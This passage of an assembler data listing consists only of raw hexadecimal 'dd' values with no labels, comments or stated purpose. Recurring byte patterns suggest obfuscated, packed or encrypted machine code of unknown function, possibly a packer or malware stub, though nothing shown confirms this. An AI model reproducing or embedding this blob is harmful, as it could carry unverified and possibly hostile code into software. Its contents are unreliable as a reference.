		dd 0D5A31597h, 13568A34h, 0D0C9A10Bh, 0FBEFC570h, 0B9A92791h
		dd 0B5DD4EBFh, 0C46FE9FDh, 8ADBDE76h, 6FE9FD5Dh, 15187C73h
		dd 0FE016B5Fh, 61E3C33Ch, 0E9FDC8F0h, 0F189D76Fh, 211BF192h
		dd 0D8B859C3h, 1E70AD04h, 0A819A2D8h, 6FE9F180h, 86EAE18Fh
		dd 634B84EEh, 0A2000000h, 68793130h, 68D25CA7h,	62D35C2Ch
		dd 6FE9073Ah, 0B189F341h, 55659B7h, 6FE907DBh, 1FF3D38Ah
		dd 0D81D7AC8h, 10Fh, 1B0FB500h,	4F8AEB1h, 7DABCC9Eh, 0D1C9F49Eh
		dd 1B7174DCh, 0D4CA8083h, 570E6B6Eh, 4AB4A877h,	68C2BCACh
		dd 0AEC2C68Bh, 197B7301h, 7D28C016h, 0E9E3E40Ch, 59DEB6Fh
		dd 1A0F1367h, 5F9AFB2h,	0C37C989Bh, 928B61E3h, 6FD92F32h
		dd 9C3AA297h, 0A954B2ACh, 0AFCFAE20h, 1F356A7Eh, 0E9EF648Ch
		dd 0B31D6B6Fh, 60221AD0h, 0AC020569h, 0BA7D1114h, 8487EFE4h
		dd 0EA12832Eh, 0F16FE9EFh, 0B89839A3h, 1E689DE4h, 89C4D8h
		dd 5C6A0000h, 0C02A9086h, 888BF3E8h, 0CD78DAD2h, 359FFDF7h
		dd 0E254F552h, 95A089E9h, 0B556C0ABh, 961106D5h, 0E97CFD25h
		dd 26BE0C6Fh, 0EB5CE588h, 6FE97DC3h, 7679D7D1h,	69D32120h
		dd 31349C91h, 1C1F857Bh, 0FBCFAF88h, 0D81DF6B4h, 62DBh
		dd 1A0F8100h, 7046AFB2h, 0BC121579h, 26CCAC4h, 4DBE312Ah
		dd 6FE90725h, 0E3E2423Bh, 5179EA95h, 586FE907h,	0B96F720Ah
		dd 0A55B5EC2h, 0EA474AAEh, 3EE45333h, 0E1D6A585h, 0F87DB79h
		dd 5DAEB11Bh, 6FE90730h, 0E8EB5348h, 0D2D53D32h, 6FDEBE75h
		dd 0A0996F10h, 5535D640h, 1D7B2A81h, 171D8h, 0F170000h
		dd 0FCB2B517h, 4AA1A402h, 5329AB8Bh, 0A1F7FA5Ah, 5675F37h
		dd 0F5EEC467h, 0BFAE2B95h, 0AF087924h, 0DE69FB2Ch, 0DDD78D90h
		dd 0F7F1E17Fh, 8F65EE99h, 0DE343795h, 0FB34234Bh, 93E49575h
		dd 0A590F293h, 0BEE58A6h, 0FBBB90BAh, 4EACA675h, 3A9E954Bh
		dd 1CFC7537h, 6E4E07ADh, 0A947A59Fh, 4B65BFB9h,	7CDBF4D0h
		dd 3DF3F68Eh, 0C6E2E543h, 0D8C0B123h, 0B99D8E77h, 0FFCEAE4Fh
		dd 0E9534705h, 52A5CD3Eh, 66B475FBh, 1B8D30CEh,	6C619A96h
		dd 77357004h, 0C219F660h, 9DE300Ch, 18Bh, 0E0636AAFh, 347BC435h
		dd 14C269FBh, 62B8BB1Bh, 0C0961FCAh, 95F62CCh, 0FB3C4E76h
		dd 0A50F5D75h, 5FD059C2h, 75FB3C37h, 409E9846h,	6C663EA8h
		dd 8680700Eh, 0F31B8C15h, 0FA75FB3Ch, 3CF119ACh, 0AAF875FBh
		dd 5F590F12h, 29E2FE01h, 22807A49h, 0F465EE77h,	75FB3CCCh
		dd 0CAF285D3h, 0D175FB3Ch, 0A69B1983h, 0DE2FB04Fh, 14766E44h
		dd 1851BB11h, 60h, 90865CBEh, 4443C02Ah, 8980AB5h, 614C3D00h
		dd 79028DF7h, 4346AEA3h, 81083EDh, 171017B6h, 0D49FBBCDh
		dd 4ABF288Ah, 1A69FD81h, 0B2B54DD1h, 177D7349h,	13123AADh
		dd 2720EFE8h, 0A0D6F67h, 63191CB4h, 0A805086Ch,	9EA211F1h
		dd 0D6D14525h, 1F279843h, 0EE901605h, 0B82302A0h, 0D1000000h
		dd 8A80636Ah, 33CB2124h, 1C021788h, 0D52369FBh,	9E9369D2h
		dd 73DD3336h, 4F47A19Bh, 4B7FC8Fh, 0BCAC4AE2h, 0F86164C2h
		dd 0E0D6FE6Fh, 37E575FBh, 80D6D943h, 0EC0B7EE8h, 7A75FBDFh
		dd 0C2E965D7h, 84DBD1A2h, 2C2F978Ch, 0EBCB6CD6h, 19C4221Ch
		dd 0DF71F90h, 140D75FBh, 0FD67B5B4h, 60E3EA7Fh,	35B344B5h
		dd 45CE7011h, 0ED36ACD4h, 0C05B36Fh, 0BB53A9ACh, 21247251h
		dd 1013716Bh, 0A61AFAB9h, 0FF711CA7h, 23193ECEh, 0E6AB29BDh
		dd 5AE36ED8h, 413860D1h, 0F9476FEDh, 6A8B1C8Fh,	54A26A03h
		dd 7BD9D3A9h, 65CDC278h, 0A740C62h, 0CE77E98Ch,	0DEAE7DE9h
		dd 6A336FD9h, 0C435E063h, 69FF3033h, 7801ACFAh,	0FF30DF07h
		dd 36A0EE75h, 45A39D53h, 0A7B04A7h, 75FF30E2h, 59319BE9h
		dd 95FE015Fh, 30739B0Ch, 8B8175FFh, 6ED82625h, 0F78C85FBh
		dd 5131E82Eh, 2C835DCFh, 67FB6358h, 208A2FD9h, 52F04E48h
		dd 0B0AA6862h, 390FBA52h, 9174DE42h, 7C7FE5DBh,	0B7866625h
		dd 0DEB45FBDh, 0D80071E6h, 0E7B107FAh, 0A8FE0199h, 0D6D0C03Eh
		dd 3D07578h, 7E000000h,	1C0F5995h, 0FDF7ADB0h, 0EDE69C9Fh
		dd 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h, 9E944A4Dh, 877F3538h
		dd 786C2225h, 554D0B0Eh, 0C5815D54h, 4,	8704ED83h, 685C242Ch
		dd 2462h, 68240C89h, 138Dh, 68241C89h, 3089h, 0B8240489h
		dd 4A2B331Ch, 0EAF68A05h, 58C189BBh, 9068h, 24248900h
		dd 4240483h, 4EC835Bh, 0B8240489h, 8, 889D801h,	2434FF58h
		dd 4C4815Bh, 8B000000h,	8957240Ch, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 50C3E95Ch, 0D65AFFFCh, 0DD795C72h
		dd 2EC5B876h, 0C5030616h, 0C053E0FFh, 0DA88198Ch, 22F31739h
		dd 0BE8C2925h, 88D574F4h, 9838FCh, 0BBBA6518h, 75527606h
		dd 8A651DA9h, 7B3329B3h, 5EAC03B7h, 348913F0h, 3F0B57D5h
		dd 0EB91586Bh, 773B6C30h, 0C18B41D7h, 2D7DBD89h, 4EB0612h
		dd 0
		dd 0DF1BD8Bh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0F6286DC3h, 858D43A3h, 6122E01h
		dd 15A747BFh, 5250905Bh, 310FF98Bh, 3D35BF66h, 0BF50585Ah
		dd 2EE7810h, 8C0F90h, 6A000000h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 1D8589D4h
		dd 6A061204h, 0A1B58B00h, 8D061203h, 16311E85h,	48A0F06h
		dd 66000000h, 839D1ABEh, 6A05C0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 84194BC3h, 6A98D89h
		dd 0BF900612h, 2A57FCC4h, 7E950h, 6CA50000h, 9904D410h
		dd 6A90F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 2A458EC3h, 930C5B65h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0DDD959C3h
		dd 1E8FEB96h, 6A2C6EF4h, 0F88B6600h, 0DB595FFh,	0BD8B0612h
		dd 612172Dh, 0AF029D8Dh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 3D9C7C3h, 395BD89h, 0D3FF0612h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 87C35646h
		dd 8291402Dh, 60B2A3D7h, 89CE8B66h, 120DE18Dh, 0B5096106h
		dd 61220EDh, 67985FFh, 95890612h, 6121BB9h, 85FE9h, 0E800h
		dd 815D0000h, 163128EDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 89BBF923h, 1200158Dh
		dd 49BD8106h, 0D0061214h, 0F000007h, 19D86h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 29566702h, 122199B5h, 9D8B5E06h, 6122049h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 3EC35242h, 2300E76Fh
		dd 8978B837h, 1217F595h, 0EE816606h, 0E38156F1h, 100h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0ECC35040h
		dd 0DB0BB931h, 80850Fh,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 39951EC3h, 862D45E3h
		dd 9529AFE1h, 6120985h,	0BD8BF38Bh, 6122C01h, 2F92BD83h
		dd 0F000616h, 0E84h, 49BD8B00h,	0E9061210h, 85h, 0C7F0B70Fh
		dd 162F9285h, 106h, 0E9BD0B00h,	0E906121Fh, 6Dh, 23B1B58Bh
		dd 6E80612h, 7000000h, 61A6991Bh, 68C0F7Dh, 89000000h
		dd 120A09BDh, 85C75F06h, 6162F92h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 40C35242h
		dd 0E1ACCBB8h, 6048F295h, 0EE8h, 0B7BA1700h, 8A2C1F16h
		dd 6EAC22A1h, 315287B4h, 12200DBDh, 0BF535E06h,	178D3571h
		dd 499D8D5Eh, 0E8061220h, 8, 1993C66h, 0A64C2711h, 23815EFCh
		dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	24C35141h, 9CCA58B6h, 9D897EF8h, 61209BDh, 6F9BD8Bh
		dd 8C660612h, 53006ADBh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 1C16A20Ah, 8B302755h, 12202DB5h
		dd 4C3F606h, 51840Fh, 95FF0000h, 6120135h, 11E8h, 87D91300h
		dd 9E4D5EE1h, 1E160F8h,	0DC0C7689h, 0B58B8FBDh,	61229E1h
		dd 0BE66905Fh, 60506F3Ah, 9E8h,	0FE6A600h, 259342B2h, 0A6B68E41h
		dd 0D78B665Bh, 70BE9061h, 0F4F9469h, 68Fh, 0D1952900h
		dd 0E906122Ah, 3E7h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 899E52C3h, 122DB19Dh
		dd 8970E606h, 12173DBDh, 919D3106h, 0E406120Dh,	53006A71h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0CD2D423Ch, 3940459Ch, 820F43A0h, 6,	0E2D8D89h, 0B60F0612h
		dd 0BDB58BD8h, 0BA061229h, 6, 17598D29h, 0C38B0612h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2CC35545h, 0FB0F25B9h
		dd 0F57536A8h, 68B0Fh, 8D890000h, 61204F5h, 2904E8C1h
		dd 1214E9B5h, 0E2F76606h, 3499BD8Bh, 0D82B0612h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D6C35141h, 0E73268F8h
		dd 665092ADh, 1C89F38Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 91851442h, 0F8E9E4EDh
		dd 8060FD85h, 9D2357D6h, 6120769h, 49B5FF61h, 6A061214h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 41BAC356h, 13E9h,	0CB324400h, 678B181Eh
		dd 430907Fh, 0E1D66B75h, 595F011Fh, 2EC98D89h, 95FF0612h
		dd 61219CDh, 14E9h, 36CD00h, 6AA8FF98h,	6450EBE1h, 0EF539370h
		dd 0A9F0D8D3h, 12E95Bh,	21680000h, 7BD6F5C6h, 3758C93h
		dd 0B90E24CEh, 0AE40A427h, 0FE900B0h, 49000000h, 38450480h
		dd 682E4024h, 14AAA518h, 70E6E9EDh, 1E819501h, 71E40612h
		dd 18318509h, 613C0612h, 229830Fh, 89600000h, 1213FDB5h
		dd 13E806h, 0EA4E0000h,	0D3119566h, 0C71A391Ah,	0A11173B1h
		dd 0CB0AF7DFh, 0F59589D6h, 59061234h, 81850161h, 0F061203h
		dd 0BAF8D8B6h, 6, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	97C35545h, 0C63E0C98h, 6650CA44h, 7C72C781h, 3860F5Eh
		dd 66000000h, 0C38BF08Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 5AC35747h, 0F9240A96h, 6604E8C1h, 6694F6BFh
		dd 0F18BE2F7h, 8589D82Bh, 612176Dh, 14E9h, 0C07A2700h
		dd 0DD58BF6h, 4B57188Ah, 62CB46FCh, 57FBACA5h, 6A58D4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 1BD44C3h, 1221BDB5h,	0FD82B06h, 14688h, 0D58D8900h
		dd 0B906121Ah, 7, 10CDB589h, 0C1830612h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0FD93BD3h, 10E86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8C66E5F5h, 12E9D9h, 0A0E80000h
		dd 6D4F9F98h, 9B9EAED1h, 6DE361D4h, 9240181Dh, 4C1F6F5h
		dd 0AA840Fh, 8B660000h,	3595FFFEh, 6A061201h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 24FDC352h, 0D53B6877h, 95895B3Dh, 612139Dh, 0E79B589h
		dd 0C32B0612h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0DAC35545h, 51C5152Dh, 89E7F684h, 1229B1BDh, 8343D06h
		dd 860F0000h, 3Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0A2C35242h, 0D5C1FB56h, 0B4DF687Bh, 0FFE8B66h
		dd 48Ch, 88BF6600h, 29E928h, 0BD090000h, 6122021h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 46AA7FC3h, 8B36C259h, 6AD88BC3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FFD9C351h
		dd 86E56423h, 969CE869h, 6E9h, 8E10E600h, 0C7512523h, 1208C185h
		dd 36D17306h, 0C08BF81Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 52C35343h, 68D0F98h, 8B000000h, 122125B5h
		dd 49BD8106h, 0D0061214h, 0F000007h, 2B85h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 7CAEDF02h, 2F2599E8h, 144985FFh, 0F08B0612h,	1449B5FFh
		dd 0B5090612h, 61201E5h, 19CD95FFh, 85090612h, 6121D91h
		dd 0D1B58B90h, 6A06121Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 6AF9C352h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 4B53C357h, 112D9EE8h, 3F0A331Bh, 5D90BE66h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CDC35646h, 0C7BE6638h
		dd 4DD78110h, 0F3B9233h, 0B70FF0B7h, 0BE8FFh, 0A87D0000h
		dd 827E8878h, 0C78155CEh, 6A5EFEh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0FB88CBC3h, 1F859D89h
		dd 0B5310612h, 61220C9h, 2D7DB58Bh, 0B58B0612h,	6121329h
		dd 0C818589h, 52FC0612h, 21BD29F8h, 5E061235h, 1D29B533h
		dd 81660612h, 0F8CDB3D6h, 13E9h, 4D850800h, 0D72E153h
		dd 0A5A902F1h, 82EBABA1h, 59ACA3B9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 8EC35545h, 66F72D1Ch, 8B9249BEh
		dd 0BE6652F0h, 8B5E734Eh, 0F7CFE9F2h, 0BD8BFFFFh, 612210Dh
		dd 0DE8h, 4CE83900h, 0A1F4411h,	83ADDE63h, 0F960E9B7h
		dd 8E9h, 94D5E000h, 0FC61D750h,	0EB8166B4h, 5E6158F6h
		dd 0EE816660h, 0FEB9CA03h, 31FFFFFFh, 12036D9Dh, 1D8D2106h
		dd 6A061205h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0CD3CC352h, 0B18E8E55h, 0BF0F5074h
		dd 8D2158FEh, 6122049h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0EEC35646h, 411CC24Fh, 8982FC27h, 122199B5h
		dd 0CDB58906h, 8B061222h, 12051D8Dh, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 2AC73D6Eh
		dd 0F78B80EFh, 0F01E183h, 2985h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0A2718F64h
		dd 925E6C2Bh, 0ECD8D89h, 8D8B0612h, 6122049h, 1C55958Bh
		dd 0E1830612h, 23850F01h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0C315C356h,	5286274h
		dd 6061897Ch, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	66C35545h, 0FEB9837Bh, 6AFFFFFFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 6D8AC356h
		dd 9E95Eh, 17950000h, 0B222656h, 0B0E2D070h, 0B18D211Dh
		dd 6A06121Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0AB83C353h, 0FE9C79Dh,	10000000h
		dd 3672A082h, 0B9BB5D9Fh, 68FC154Ah, 8D21AF46h,	61222B1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 7DC35141h
		dd 51724121h, 1FC59509h, 8B5B0612h, 121CB18Dh, 1E18306h
		dd 7850Fh, 0E38A0000h, 0F83E61BEh, 0B18D8B70h, 89061222h
		dd 121F5D8Dh, 1E18306h,	6850Fh,	9D8B0000h, 6122039h, 0DE86061h
		dd 61000000h, 0BD25B7DFh, 55FE07DEh, 9B6A7AF1h,	2AE9BD8Bh
		dd 805F0612h, 0FEB90DE4h, 6AFFFFFFh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0D293C355h
		dd 3ED8D21h, 8D210612h,	61218D1h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0F6C35646h,	0DC4BF756h, 0D0C71332h
		dd 0ED8D8BB3h, 0E9061203h, 0Ah,	28B2AD87h, 1E06CE35h, 0E183912Dh
		dd 2E850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 533C350h, 0DC6F6D15h
		dd 19D8976h, 8B06122Bh,	12018DB5h, 0D18D8B06h, 6A061218h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 85BCC355h, 2400D289h, 0E1837248h,	23850F01h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 7FD9C353h, 1451BD29h, 60610612h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 67C35141h
		dd 0E98CC7EFh, 9A6EE70h, 1203898Dh, 0FFFEB906h,	6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 8A31DFC3h, 0F0437034h, 895D28EAh, 12193D9Dh,	8D8D2106h
		dd 0E9061231h, 0Fh, 81A906F3h, 0A6DF0AD3h, 0F3BC1Fh, 21B368BFh
		dd 1208C18Dh, 699D8B06h, 0B806121Ch, 70EBFCCDh,	318D8D8Bh
		dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 13E93AC3h, 0CA000000h, 0D6E64FB2h, 8DC10376h
		dd 0C20AFC6Fh, 352129C9h, 0E183619Dh, 36850F01h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0FA7BC357h, 24FAAAABh, 857086BAh,	274BBB66h
		dd 8E9h, 3B0E3600h, 0BE7DF403h,	0C18D8B94h, 6A061208h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 1221C357h, 0B64C5492h, 1E1830Dh, 0F850Fh
		dd 800F0000h, 6, 0DE1BD23h, 0D3800612h,	6A60614Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0A5E9C353h, 0BD8B0CE1h, 612138Dh, 5E9h, 78BA7E00h, 958B760Ah
		dd 61234D9h, 144985C7h,	7D00612h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 3E2000C3h
		dd 50006A61h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0CDFB92A3h, 0F1D78060h, 12E8h, 0C63C000h
		dd 0D691AC1Bh, 0D0BBEEBFh, 6F1C7007h, 0B8887B35h, 45D636EBh
		dd 7EB615Eh, 0E99D61h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 8592C355h
		dd 0FEEF888Fh, 23FC568Dh, 2D7DB589h, 6A0612h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 8B0DBCC3h
		dd 0B7B3C3BAh, 0E9C18BBBh, 75h,	0D88C6660h, 840F04A8h
		dd 35h,	0B5FF016Ah, 61203B1h, 7F35858Dh, 0D0FF0615h, 1958589h
		dd 0FE8B0612h, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 6120195h,	32E9h, 7185C600h, 56061228h, 0C530DF68h
		dd 0E9B5FFA9h, 8D061230h, 157F3585h, 89D0FF06h,	1201C185h
		dd 0FD858D06h, 50061206h, 56A206Ah, 0C195FF56h,	61061201h
		dd 6E0C1C3h, 5FB96660h,	6AC08BBAh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 4EE7C352h
		dd 3C17CB31h, 0EE8193D8h, 265CDE7Ch, 0CE8166h, 91BD839Bh
		dd 6121Bh, 0BD830975h, 61217DDh, 50197400h, 0B8C08B53h
		dd 438h, 858589h, 9D8D0612h, 614AE0Fh, 585BD3FFh, 17DDBD83h
		dd 74000612h, 0B8535017h, 438h,	858589h, 9D8D0612h, 614AAFEh
		dd 585BD3FFh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	26C35545h, 9A4D026Dh, 0F1267722h, 10E965h, 1FB10000h
		dd 0FD3188D1h, 89B81E6Bh, 9228A9EFh, 8D8981C2h,	6122F91h
		dd 0B58BC08Bh, 6121A5Dh, 87EE8h, 0F1858900h, 8B06122Bh
		dd 1205B98Dh, 86DE806h,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 23A47AC3h, 1203F18Dh
		dd 0A5BD2B06h, 89061209h, 121D2D85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0E99386EFh
		dd 0F97A0CDh, 682h, 0B5858900h,	0E8061220h, 80Bh, 13799589h
		dd 85890612h, 6121B85h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0A9C35646h, 683A4436h, 0B81B0864h, 15B5011Ch
		dd 0E8061205h, 7CFh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0B3C35141h, 1276D73Fh, 0A6FBFD41h, 0D29B589h
		dd 85890612h, 6121FC9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0DDC35040h, 3890FD8h,	80000000h, 74E8A0CDh
		dd 6A000007h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8B42C353h, 1229A9B5h, 6DB26006h
		dd 0D1858961h, 6A06120Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0BFFBC355h,	0E8F08B7Dh
		dd 723h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 15h,	24C35040h, 71BD2937h, 89061222h, 122DB985h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0C90BC1D9h, 6D6E8h, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 25B9E168h, 60651A00h
		dd 12820Fh, 0DE90000h, 49000000h, 7586916h, 59E09788h
		dd 88130D54h, 231D8589h, 89610612h, 122D6985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 277B3A09h, 68E89B86h, 89000006h, 12311985h, 0D98D8906h
		dd 0E8061200h, 657h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 58C35141h, 4A5B531h, 85890612h, 6122A69h
		dd 1A7D9589h, 24E80612h, 29000006h, 121BE1B5h, 49858906h
		dd 8106122Ah, 0DAAE3BCFh
		dd 60DE80Ah, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 7E5AD9C3h, 8F0F587Ch, 3,	0F9C9B70Fh
		dd 2C818589h, 29F80612h, 12079995h, 5D1E806h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 5B2CFEC3h, 23818589h, 840F0612h, 3, 0E8F98B66h, 59Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0BEC35242h
		dd 268D8589h, 81660612h, 608470C9h, 2ECE8166h, 6CE861AAh
		dd 8B000005h, 120CC18Dh, 0D858906h, 51061205h, 0EDD8589h
		dd 0E8590612h, 553h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0DAC35141h, 66BAAF13h, 8589CF8Bh, 61206ADh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0F7C35242h
		dd 0C3AB99B6h, 816660B2h, 8BFFD1DBh, 121D518Dh,	0F8E86106h
		dd 0F8000004h, 13DD8589h, 6A0612h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 2D885DC3h, 8BCA8B66h
		dd 120199B5h, 0F00B006h, 6052D8B6h, 3025B501h, 85890612h
		dd 6120035h, 6BA5F61h, 0E9000000h, 9, 0CC4470DFh, 0F0CB7CFFh
		dd 6AC38B42h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 8535C351h, 0C9F65E28h,	75201DC5h
		dd 158E0Fh, 10E90000h, 50000000h, 0FB0B4BA4h, 46F8D4A4h
		dd 6C45C03Fh, 0C13A92B0h, 6A04E8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 667874C3h, 6AE2F7h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 52BC1C3h, 159D89DDh,	2B061229h, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 1D0BD591h
		dd 5CB52B96h, 0D8A0F93h, 0E9000000h, 8,	0BA98D58Ch, 0AC336552h
		dd 12E850h, 59D90000h, 24AEF763h, 22FFD2EEh, 15780BAAh
		dd 0BC9ABF62h, 198E0Fh,	14E90000h, 0FA000000h, 0AD871517h
		dd 0CE3528B2h, 912D1E06h, 0C8AD15C5h, 5EAA49B4h, 52006A93h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 712407F4h, 0B5890AA9h, 6121F71h, 18D0Fh, 1F80000h, 12290D85h
		dd 3595FF06h, 6A061201h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 5F92C352h, 7C2291E0h
		dd 71958960h, 66061234h, 61F93FBAh, 0D8D8B5Bh, 8D06122Fh
		dd 121FAD95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 712407F4h, 924D0AA9h, 6A1A89h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0BA0E07C3h, 0CE9h, 0C5163D00h, 0E257A954h, 7C2C5908h
		dd 4428966h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	1CC35545h, 8D02EF3Ch, 1200F995h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0CB67D726h, 37B2C23Dh, 0D5BF6652h, 0B52B5FDDh, 6121B01h
